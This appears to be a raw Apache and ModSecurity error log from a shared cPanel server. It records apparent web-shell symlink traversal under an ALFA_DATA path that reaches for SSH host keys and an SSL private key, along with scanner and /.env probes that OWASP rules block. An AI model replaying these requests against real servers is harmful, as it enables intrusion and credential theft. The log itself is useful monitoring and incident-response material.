[Sun Oct 25 08:41:26.194727 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 34.199.252.22:27016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/driver/cpu0/subsystem/drivers_probe
[Sun Oct 25 08:41:30.182221 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 44.207.207.36:23379] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/resource1
[Sun Oct 25 08:41:50.318623 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.231.118.144:27262] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input4/device/driver/serio1/subsystem/devices/serio1/"] [unique_id "at35Dksgp-xlBP1GcWOQgwAAABE"]
[Sun Oct 25 08:41:50.318676 2026] [security2:error] [pid 2834019:tid 2834019] [client 34.231.118.144:27262] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input4/device/driver/serio1/subsystem/devices/serio1/"] [unique_id "at35Dksgp-xlBP1GcWOQgwAAABE"]
[Sun Oct 25 08:42:00.444333 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 85.208.96.199:42250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:42:02.204542 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.218.103.254:58612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:42:06.171223 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.93.211.16:19672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:42:14.175486 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.216.86.144:7938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/compact
[Sun Oct 25 08:42:34.414832 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.236.135.14:6001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:42:38.178147 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 23.23.99.55:35022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/resource4_wc
[Sun Oct 25 08:42:42.295044 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.18:15536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/total_objects
[Sun Oct 25 08:42:46.219311 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.223.115.10:23949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:42:54.174594 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 50.16.216.166:44804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:42:58.200370 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.217.82.254:30658] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:43:18.346964 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.84.93.8:41431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:43:42.210071 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.209.187.99:11079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:43:54.087767 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 185.191.171.12:11064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/ctor
[Sun Oct 25 08:43:54.211364 2026] [ssl:error] [pid 2834025:tid 2834025] (5)Input/output error: [client 52.4.213.199:25626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:43:58.145747 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.2.4.213:64090] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:44:02.190094 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.239.197.197:54395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:44:10.175496 2026] [ssl:error] [pid 2834020:tid 2834020] (5)Input/output error: [client 3.213.106.226:2315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:44:14.238013 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.84.161.62:17487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:44:14.238218 2026] [security2:error] [pid 2806348:tid 2806348] [client 54.84.161.62:17487] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/config"] [unique_id "at35ng-YVEbWS5meiuhkKAAAAAw"]
[Sun Oct 25 08:44:14.273601 2026] [security2:error] [pid 2806348:tid 2806348] [client 54.84.161.62:17487] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/config"] [unique_id "at35ng-YVEbWS5meiuhkKAAAAAw"]
[Sun Oct 25 08:44:22.230809 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.207.207.36:9291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:44:26.228758 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.6.232.201:38835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:44:56.945749 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 185.191.171.7:19864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/alloc_calls
[Sun Oct 25 08:45:18.146278 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.224.9.144:55743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:45:26.126504 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.0.41.164:43274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:45:34.156969 2026] [ssl:error] [pid 2834020:tid 2834020] (5)Input/output error: [client 34.234.200.207:45519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:45:38.140127 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 100.29.34.97:65488] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:45:50.135478 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 18.207.89.138:7632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event4/subsystem/input3/subsystem/input5/device/driver/pcspkr/driver/unbind
[Sun Oct 25 08:45:54.224820 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.1.106.130:64250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:45:58.326468 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.202.88.37:65344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:46:02.203503 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.205.180.155:65121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:46:06.257606 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 3.93.98.99:1089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/uevent
[Sun Oct 25 08:46:18.212784 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 52.205.141.124:17588] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:46:22.162218 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.235.191.179:34519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:46:30.146753 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 52.6.5.24:64398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/piix4_smbus/module/sections/__mcount_loc
[Sun Oct 25 08:46:38.346254 2026] [ssl:error] [pid 2821699:tid 2821699] (5)Input/output error: [client 100.29.164.178:31659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:46:42.170309 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.195.145.102:62214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:46:49.889523 2026] [security2:error] [pid 2815605:tid 2815605] [client 103.158.121.21:64950] ModSecurity: Warning. Matched phrase "masscan" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: masscan found within REQUEST_HEADERS:User-Agent: ivre-masscan/1.3 https://github.com/robertdavidgraham/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at36OQYPMfHr0EMMDlnm-gAAABM"]
[Sun Oct 25 08:46:49.889670 2026] [security2:error] [pid 2815605:tid 2815605] [client 103.158.121.21:64950] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at36OQYPMfHr0EMMDlnm-gAAABM"]
[Sun Oct 25 08:46:49.890036 2026] [security2:error] [pid 2815605:tid 2815605] [client 103.158.121.21:64950] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at36OQYPMfHr0EMMDlnm-gAAABM"]
[Sun Oct 25 08:46:49.890346 2026] [security2:error] [pid 2815605:tid 2815605] [client 103.158.121.21:64950] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request Missing a Host Header"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at36OQYPMfHr0EMMDlnm-gAAABM"]
[Sun Oct 25 08:46:49.890385 2026] [security2:error] [pid 2815605:tid 2815605] [client 103.158.121.21:64950] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/admin/config.php"] [unique_id "at36OQYPMfHr0EMMDlnm-gAAABM"]
[Sun Oct 25 08:47:22.258253 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 3.221.222.168:52899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/module/uevent
[Sun Oct 25 08:47:30.310548 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 23.21.148.226:7210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4_wc
[Sun Oct 25 08:47:42.150153 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 18.232.36.1:58004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:47:53.569723 2026] [security2:error] [pid 2826774:tid 2826774] [client 185.191.171.18:15044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/zoneinfo/America/Juneau"] [unique_id "at36efWU2HQBncZeY47DuAAAAAQ"]
[Sun Oct 25 08:47:53.569781 2026] [security2:error] [pid 2826774:tid 2826774] [client 185.191.171.18:15044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/zoneinfo/America/Juneau"] [unique_id "at36efWU2HQBncZeY47DuAAAAAQ"]
[Sun Oct 25 08:47:59.606533 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 85.208.96.209:39824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__param
[Sun Oct 25 08:48:02.183621 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.219.81.66:30210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:06.155553 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.229.95.193:62060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:14.135921 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 34.194.233.48:16996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:18.137634 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.200.58.199:46001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:22.123531 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.89.90.224:44242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:27.063190 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.8:37206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/shrink
[Sun Oct 25 08:48:32.954846 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.13:43692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/remote_node_defrag_ratio
[Sun Oct 25 08:48:38.135906 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 34.202.88.37:18593] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/cirrus/uevent
[Sun Oct 25 08:48:46.151252 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 54.225.98.148:6652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:54.139718 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.207.79.144:56266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:48:58.138514 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.21.228.180:9708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:02.274577 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.216.172.204:17449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:04.818421 2026] [security2:error] [pid 2834020:tid 2834020] [client 130.12.180.164:49726] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env"] [unique_id "at36wBus_mjnPB8X3pG86QAAABI"]
[Sun Oct 25 08:49:04.818752 2026] [security2:error] [pid 2834020:tid 2834020] [client 130.12.180.164:49726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env"] [unique_id "at36wBus_mjnPB8X3pG86QAAABI"]
[Sun Oct 25 08:49:04.819751 2026] [security2:error] [pid 2834020:tid 2834020] [client 130.12.180.164:49726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "at36wBus_mjnPB8X3pG86QAAABI"]
[Sun Oct 25 08:49:06.184369 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.3.102.51:30503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:10.409245 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.90.8.255:1805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:14.225867 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.83.56.1:47803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:22.283362 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.44.174.136:7560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:34.147348 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 18.215.49.176:42210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:38.160212 2026] [ssl:error] [pid 2826774:tid 2826774] (5)Input/output error: [client 52.207.47.227:44018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:42.145464 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.206.193.60:2174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:46.177062 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 50.17.193.48:33685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:49:50.897426 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.209:32856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/objects_partial
[Sun Oct 25 08:49:54.150438 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 44.221.37.41:51366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:04/physical_node/resource4_wc
[Sun Oct 25 08:50:02.172854 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.90.73.206:26703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:50:10.305900 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.197.178.107:19697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:50:14.152818 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.4.76.156:33807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:50:18.323739 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 98.82.63.147:14448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:01/PNP0303:00/physical_node/driver/uevent
[Sun Oct 25 08:50:22.169969 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.212.106.171:7134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:50:30.303698 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.210.29.96:52129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:50:34.320656 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.3.26.180:5829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:50:47.388339 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.198:53692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/aliases
[Sun Oct 25 08:51:02.261606 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 184.73.35.182:51687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:51:02.759976 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.195:46120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/reclaim_account
[Sun Oct 25 08:51:38.625869 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.207.207.36:37138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:51:46.293117 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.234.197.175:6091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:51:54.181516 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.209.174.110:1552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:51:58.152569 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 34.206.249.188:11867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:06.131259 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.82.40.168:37657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:10.122704 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 50.16.216.166:60012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:13.722051 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 16.216.88.157:45056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_host_dsa_key
[Sun Oct 25 08:52:22.228209 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.194.134.53:25881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:26.187382 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.231.181.240:24017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:30.232276 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.235.158.19:11626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:38.335705 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.197.76.210:13931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:41.973797 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 185.191.171.6:42666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/red_zone
[Sun Oct 25 08:52:46.143267 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.214.19.8:9369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:54.125183 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 44.194.134.53:47194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:52:58.184948 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.213.213.161:50367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory20/subsystem/drivers_probe
[Sun Oct 25 08:53:06.293183 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 23.21.250.48:42607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:53:12.510190 2026] [security2:error] [pid 2815605:tid 2815605] [client 185.191.171.18:50890] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e0d1d_82f53_7f6bb6f95ce41154b2ba5c9855202c3d.key"] [unique_id "at37uAYPMfHr0EMMDlnnCAAAABM"]
[Sun Oct 25 08:53:12.510608 2026] [security2:error] [pid 2815605:tid 2815605] [client 185.191.171.18:50890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e0d1d_82f53_7f6bb6f95ce41154b2ba5c9855202c3d.key"] [unique_id "at37uAYPMfHr0EMMDlnnCAAAABM"]
